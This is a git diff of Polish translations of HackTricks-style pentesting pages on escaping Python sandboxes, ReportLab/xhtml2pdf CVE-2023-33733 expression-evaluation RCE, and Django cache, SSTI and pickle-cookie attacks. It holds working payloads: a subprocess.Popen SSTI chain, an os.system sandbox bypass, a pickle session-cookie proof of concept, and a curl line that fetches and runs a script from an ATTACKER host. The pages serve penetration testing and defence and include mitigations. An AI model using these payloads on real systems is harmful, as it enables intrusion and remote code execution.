tym trzeba w jakiś sposób **write or upload the library to load**, poprawnie skompilowaną dla atakowanego serwera. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Wyzwanie w rzeczywistości wykorzystuje inną podatność na serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera. +Wyzwanie faktycznie wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera. -## Analiza obiektów Pythona +## Analiza obiektów Python > [!TIP] -> Jeśli chcesz **nauczyć się** o **bajtkodzie Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> Jeśli chcesz **nauczyć się** o **python bytecode** dogłębnie, przeczytaj ten **świetny** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć. +W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zobaczyć **internals** tej **function**, aby ją wyekstrahować. -To jest funkcja do zbadania: +Oto function do zbadania: ```python def get_flag(some_input): var1=1 @@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` i `func_globals` (te same) Uzyskuje globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zadeklarowaną zawartość: +`__globals__` and `func_globals` (to samo) Uzyskuje dostęp do środowiska globalnego. W przykładzie widać niektóre zaimportowane moduły, niektóre zmienne globalne oraz zadeklarowaną ich zawartość: ```python get_flag.func_globals get_flag.__globals__ @@ -807,11 +816,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Zobacz tutaj więcej miejsc do uzyskania globals**](#globals-and-locals) +[**See here more places to obtain globals**](#globals-and-locals) ### **Dostęp do kodu funkcji** -**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** funkcji. +**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** tej funkcji. ```python # In our current example get_flag.__code__ @@ -825,7 +834,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Uzyskiwanie informacji o kodzie +### Pozyskiwanie informacji o kodzie ```python # Another example s = ''' @@ -871,7 +880,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Rozbicie funkcji** +### **Dysasemblacja funkcji** ```python import dis dis.dis(get_flag) @@ -899,7 +908,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **rozłożyć** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również wskazuje offset zmiennej, która jest ładowana. +Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` także podaje offset zmiennej, która jest ładowana. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -921,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## Kompilowanie Pythona +## Kompilacja Pythona -Teraz wyobraźmy sobie, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\ -Jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale tylko czytając disassemble **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_) +Wyobraźmy sobie teraz, że w pewien sposób możesz **dump informacji o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\\ +Jak w poniższym przykładzie, **możesz uzyskać dostęp do code object** tej funkcji, ale samo czytanie disassemble **nie pozwala ci obliczyć flagi** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_) ```python def get_flag(some_input): var1=1 @@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### Tworzenie obiektu kodu +### Tworzenie code object -Przede wszystkim musimy wiedzieć **jak stworzyć i wykonać obiekt kodu**, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked: +Po pierwsze, musimy wiedzieć **how to create and execute a code object**, żebyśmy mogli stworzyć taki obiekt i wykonać naszą funkcję leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać porządek parametrów w wersji Pythona, którą uruchamiasz, jest wykonanie: +> W zależności od wersji python **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać porządek parametrów w wersji python, której używasz, jest uruchomienie: > > ``` > import types @@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Odtwarzanie wyciekłej funkcji +### Odtwarzanie leaked funkcji > [!WARNING] -> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**. +> W następującym przykładzie pobierzemy wszystkie dane potrzebne, aby odtworzyć funkcję bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to właśnie to, co **będziesz musiał leak**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -983,10 +992,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -W poprzednich przykładach na początku tego posta, możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\ -W każdym razie, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF). +W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod w pythonie używając funkcji `compile`**. To ciekawe, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **one liner** (i moglibyśmy to samo zrobić używając **`exec`**).\ +Czasami jednak może być przydatne **stworzyć** **skompilowany obiekt** na lokalnej maszynie i uruchomić go w **CTF machine** (na przykład ponieważ w CTF nie mamy funkcji `compiled`). -Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_: +Na przykład, skompilujmy i uruchommy ręcznie funkcję, która czyta _./poc.py_: ```python #Locally def read(): @@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.** +Jeśli nie masz dostępu do `eval` lub `exec`, możesz utworzyć **właściwą funkcję**, ale jej bezpośrednie wywołanie zwykle zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska ograniczonego, która wywoła tę funkcję.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1021,22 +1030,22 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Decompilacja skompilowanego Pythona +## Dekompilacja skompilowanego kodu Python -Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com), można **dekompilować** dany skompilowany kod Pythona. +Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod python. -**Sprawdź ten samouczek**: +**Zobacz ten samouczek**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Różne aspekty Pythona +## Różne w Pythonie ### Assert -Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\ +Python uruchamiany z optymalizacjami przy użyciu parametru `-O` usunie instrukcje assert oraz wszelki kod zależny od wartości **debug**.\ Dlatego sprawdzenia takie jak ```python def check_permission(super_user): @@ -1046,9 +1055,9 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` -będzie omijane +zostanie ominięte -## Odniesienia +## Referencje - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) @@ -1056,5 +1065,8 @@ będzie omijane - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) +- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) +- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md new file mode 100644 index 000000000..89c929065 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -0,0 +1,79 @@ +# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) + +{{#include ../../../banners/hacktricks-training.md}} + +Ta strona dokumentuje praktyczne obejście sandboxa i prymityw RCE w ReportLab’s rl_safe_eval używanym przez xhtml2pdf i inne pipeline’y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDFów. + +CVE-2023-33733 dotyczy ReportLab w wersjach do i włącznie 3.6.12. W pewnych kontekstach atrybutów (na przykład color) wartości owinięte w potrójne nawiasy [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez skonstruowanie ładunku, który pivotuje z białej listy builtinów (pow) do jego Pythonowych globals funkcji, atakujący może dotrzeć do modułu os i wykonać polecenia. + +Kluczowe punkty +- Trigger: wstrzyknij [[[ ... ]]] do ocenianych atrybutów, takich jak w obrębie markup parsowanego przez ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval zastępuje niebezpieczne builtiny, ale oceniane funkcje nadal ujawniają __globals__. +- Bypass: stwórz przejściową klasę Word, aby obejść sprawdzanie nazw w rl_safe_eval i uzyskać dostęp do stringa "__globals__" unikając filtrowania zablokowanych dunderów. +- RCE: getattr(pow, Word("__globals__"))["os"].system("") +- Stabilność: zwróć poprawną wartość dla atrybutu po wykonaniu (dla color użyj na przykład 'red'). + +Kiedy testować +- Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach w odpowiedzi HTTP. +- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producent "xhtml2pdf" +- Odpowiedź HTTP dla PDF często zaczyna się komentarzem generatora ReportLab + +Jak działa obejście sandboxa +- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odmówić dostępu do atrybutów zaczynających się od __ lub znajdujących się na denyliście. +- Jednak bezpieczne funkcje żyją w słowniku globals dostępnych jako func.__globals__. +- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (obejście wrappera ReportLab), następnie zdefiniuj klasę Word dziedziczącą po str z zmienionym zachowaniem porównań tak, że: + - .startswith('__') → zawsze False (obejście sprawdzenia name startswith('__')) + - .__eq__ zwraca False tylko przy pierwszym porównaniu (obejście sprawdzeń członkostwa w denyliście) i True potem (tak by Python getattr zadziałał) + - .__hash__ równa się hash(str(self)) +- Dzięki temu getattr(pow, Word('__globals__')) zwraca słownik globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system(''). + +Minimalny schemat eksploatacji (przykład atrybutu) +Umieść ładunek wewnątrz ocenianego atrybutu i upewnij się, że zwraca on poprawną wartość atrybutu przez boolean i 'red'. + + +exploit + + +- Forma z list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval. +- Końcowe and 'red' zwraca poprawny CSS color, więc renderowanie nie przerywa się. +- Podmień polecenie według potrzeb; użyj ping do weryfikacji wykonania przy pomocy tcpdump. + +Przebieg operacyjny +1) Zidentyfikuj generator PDF +- PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab. +2) Znajdź input odzwierciedlany w PDF (np. bio/opis profilu) i uruchom eksport. +3) Zweryfikuj wykonanie niskoszumowym ICMP +- Uruchom: sudo tcpdump -ni icmp +- Payload: ... system('ping ') ... +- Windows często wysyła dokładnie cztery echo requesty domyślnie. +4) Ustanowienie shella +- Dla Windows, niezawodne podejście dwustopniowe omija problemy z cytowaniem/kodowaniem: +- Stage 1 (pobranie): + +exploit + +- Stage 2 (uruchomienie): + +exploit + +- Dla systemów Linux możliwe jest podobne dwustopniowe podejście z curl/wget: +- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') + +Notatki i wskazówki +- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markup ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych do PDF flow (inne pola, style tabel, itd.). +- Cytowanie: trzymaj polecenia zwarte. Dwustopniowe pobieranie znacznie redukuje problemy z cytowaniem i eskapowaniem. +- Niezawodność: jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj ładunek (np. losowa ścieżka lub query), aby uniknąć trafienia do cache. + +Łagodzenie i wykrywanie +- Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź też komunikaty bezpieczeństwa w pakietach dystrybucji. +- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitizacji. Usuń/odrzuć konstrukty [[[...]]] oceniające wyrażenia i vendor-specific tagi, gdy input jest nieufny. +- Rozważ wyłączenie lub opakowanie użycia rl_safe_eval całkowicie dla danych nieufnych. +- Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji podczas eksportu dokumentów). + +Referencje +- PoC i analiza techniczna: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 89e015b33..d467a6c6d 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -2,49 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -## Manipulacja pamięcią podręczną do RCE -Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufane dane wejściowe są odpakowywane](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**. +## Cache Manipulation to RCE +Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący może uzyskać write access do cache, może eskalować tę podatność do RCE na serwerze bazowym**. -Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji. +Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainersi oznaczyli to jako nieistotne. Ważne jest, aby pamiętać, że folder z plikami cache, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji. -Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436 +This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- -## Wstrzykiwanie szablonów po stronie serwera (SSTI) -Język szablonów Django (DTL) jest **kompletny w sensie Turinga**. Jeśli dane dostarczone przez użytkownika są renderowane jako *ciąg szablonu* (na przykład przez wywołanie `Template(user_input).render()` lub gdy `|safe`/`format_html()` usuwa automatyczne eskapowanie), atakujący może osiągnąć pełne SSTI → RCE. +## Server-Side Template Injection (SSTI) +The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. ### Wykrywanie -1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()`, które zawierają *jakiekolwiek* niesanitizowane dane żądania. -2. Wyślij ładunek oparty na czasie lub arytmetyce: +1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* niesanitizowane dane żądania. +2. Wyślij time-based lub arytmetyczny payload: ```django {{7*7}} ``` -Jeśli renderowany wynik zawiera `49`, dane wejściowe są kompilowane przez silnik szablonów. +Jeśli wyrenderowany wynik zawiera `49`, to wejście jest kompilowane przez silnik szablonów. -### Primitwa do RCE +### Prymityw do RCE Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` -Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od wersji Pythona) i wykonaj dowolne polecenia: +Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od kompilacji Pythona) i wykonaj dowolne polecenia: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` -Bezpieczniejszym uniwersalnym gadżetem jest iteracja, aż `cls.__name__ == 'Popen'`. +Bezpieczniejszym uniwersalnym gadgetem jest iterowanie, aż `cls.__name__ == 'Popen'`. -Ten sam gadżet działa dla funkcji renderowania **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika. +Ten sam gadget działa dla funkcji renderowania szablonów **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika. --- -## RCE z wykorzystaniem ciasteczka sesyjnego opartego na Pickle -Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i unpickluje* ciasteczko sesyjne **przed** wywołaniem jakiegokolwiek kodu widoku. Dlatego posiadanie ważnego klucza podpisu (domyślnie `SECRET_KEY` projektu) wystarcza do natychmiastowego zdalnego wykonania kodu. +### Zobacz też: ReportLab/xhtml2pdf PDF export RCE +Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab do eksportu widoków jako PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i mitigations: -### Wymagania dotyczące eksploatacji +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +--- + +## Pickle-Backed Session Cookie RCE +Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *decrypts and unpickles* session cookie **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie prawidłowego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego remote code execution. + +### Exploit Requirements * Serwer używa `PickleSerializer`. -* Atakujący zna / może zgadnąć `settings.SECRET_KEY` (wycieki przez GitHub, `.env`, strony błędów itp.). +* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, itd.). -### Dowód koncepcji +### Proof-of-Concept ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer @@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI. +Wyślij otrzymane cookie, a payload wykona się z uprawnieniami procesu WSGI. -**Mitigacje**: Utrzymuj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`. +**Środki zaradcze**: Zachowaj domyślny `JSONSerializer`, regularnie zmieniaj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`. --- -## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy -* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8. +## Najnowsze (2023-2025) wysokiego ryzyka CVE Django, które Pentesters powinni sprawdzić +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (załatane 4 Jun 2025). Pozwala atakującym przemycać znaki nowej linii/kody ANSI do plików logów i zatruwać dalszą analizę logów. Poprawki w wersjach ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Pozwala skonstruować klucze JSON, które przerwą cytowanie i wykonają dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8. -Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe. +Zawsze zidentyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i przetestuj powyższe tam, gdzie ma to zastosowanie. --- -## Odniesienia -* Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025. -* OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024. +## Referencje +* Komunikat bezpieczeństwa Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}